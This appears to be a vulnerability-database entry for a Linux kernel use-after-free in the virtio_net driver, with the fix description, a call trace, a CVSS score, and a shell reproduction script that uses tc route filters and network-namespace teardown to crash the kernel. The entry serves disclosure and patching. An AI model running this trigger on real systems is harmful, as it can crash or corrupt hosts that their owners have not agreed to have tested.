CVE-2026-31469

Description

In the Linux kernel, the following vulnerability has been resolved: virtio_net: Fix UAF on dst_ops when IFF_XMIT_DST_RELEASE is cleared and napi_tx is false A UAF issue occurs when the virtio_net driver is configured with napi_tx=N and the device's IFF_XMIT_DST_RELEASE flag is cleared (e.g., during the configuration of tc route filter rules). When IFF_XMIT_DST_RELEASE is removed from the net_device, the network stack expects the driver to hold the reference to skb->dst until the packet is fully transmitted and freed. In virtio_net with napi_tx=N, skbs may remain in the virtio transmit ring for an extended period. If the network namespace is destroyed while these skbs are still pending, the corresponding dst_ops structure has freed. When a subsequent packet is transmitted, free_old_xmit() is triggered to clean up old skbs. It then calls dst_release() on the skb associated with the stale dst_entry. Since the dst_ops (referenced by the dst_entry) has already been freed, a UAF kernel paging request occurs. fix it by adds skb_dst_drop(skb) in start_xmit to explicitly release the dst reference before the skb is queued in virtio_net. Call Trace: Unable to handle kernel paging request at virtual address ffff80007e150000 CPU: 2 UID: 0 PID: 6236 Comm: ping Kdump: loaded Not tainted 7.0.0-rc1+ #6 PREEMPT ... percpu_counter_add_batch+0x3c/0x158 lib/percpu_counter.c:98 (P) dst_release+0xe0/0x110 net/core/dst.c:177 skb_release_head_state+0xe8/0x108 net/core/skbuff.c:1177 sk_skb_reason_drop+0x54/0x2d8 net/core/skbuff.c:1255 dev_kfree_skb_any_reason+0x64/0x78 net/core/dev.c:3469 napi_consume_skb+0x1c4/0x3a0 net/core/skbuff.c:1527 __free_old_xmit+0x164/0x230 drivers/net/virtio_net.c:611 [virtio_net] free_old_xmit drivers/net/virtio_net.c:1081 [virtio_net] start_xmit+0x7c/0x530 drivers/net/virtio_net.c:3329 [virtio_net] ... Reproduction Steps: NETDEV="enp3s0" config_qdisc_route_filter() { tc qdisc del dev $NETDEV root tc qdisc add dev $NETDEV root handle 1: prio tc filter add dev $NETDEV parent 1:0 \ protocol ip prio 100 route to 100 flowid 1:1 ip route add 192.168.1.100/32 dev $NETDEV realm 100 } test_ns() { ip netns add testns ip link set $NETDEV netns testns ip netns exec testns ifconfig $NETDEV 10.0.32.46/24 ip netns exec testns ping -c 1 10.0.32.1 ip netns del testns } config_qdisc_route_filter test_ns sleep 2 test_ns

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复前版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash

# Reproduction script for CVE-2026-31469
# This script configures the environment to trigger the UAF in virtio_net

NETDEV="enp3s0"

# Configure qdisc and route filter to clear IFF_XMIT_DST_RELEASE
config_qdisc_route_filter() {
    tc qdisc del dev $NETDEV root
    tc qdisc add dev $NETDEV root handle 1: prio
    tc filter add dev $NETDEV parent 1:0 protocol ip prio 100 route to 100 flowid 1:1
    ip route add 192.168.1.100/32 dev $NETDEV realm 100
}

# Test function to create and destroy namespace
test_ns() {
    ip netns add testns
    ip link set $NETDEV netns testns
    ip netns exec testns ifconfig $NETDEV 10.0.32.46/24
    ip netns exec testns ping -c 1 10.0.32.1
    ip netns del testns
}

# Execute PoC steps
config_qdisc_route_filter
test_ns
sleep 2
test_ns

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31469
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31469
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31469/
[4] VulDB https://vuldb.com/cve/CVE-2026-31469
[5] https://git.kernel.org/stable/c/63d45077b97bb0e0fe0c75931acbbca7a47af141
[6] https://git.kernel.org/stable/c/8a4790850e710fd6771e4d2112168ed1dd6c0e54
[7] https://git.kernel.org/stable/c/9a18629f2525781f0f3dda7be72b204e4cf77d08
[8] https://git.kernel.org/stable/c/ba8bda9a0896746053aa97ac6c3e08168729172c
[9] https://git.kernel.org/stable/c/be0e63f3b97bbaf453c542e8a15ba2a536e2ac01
[10] https://git.kernel.org/stable/c/c1ec36cb3768574b916f20d2d7415fd14fa1bf12
[11] https://git.kernel.org/stable/c/f04733c4dc40c43899c3d1c97afbae5831a3770f
[12] https://git.kernel.org/stable/c/fedd2e1630cac920844997227ccbe7b26a76375a

Raw JSON Data

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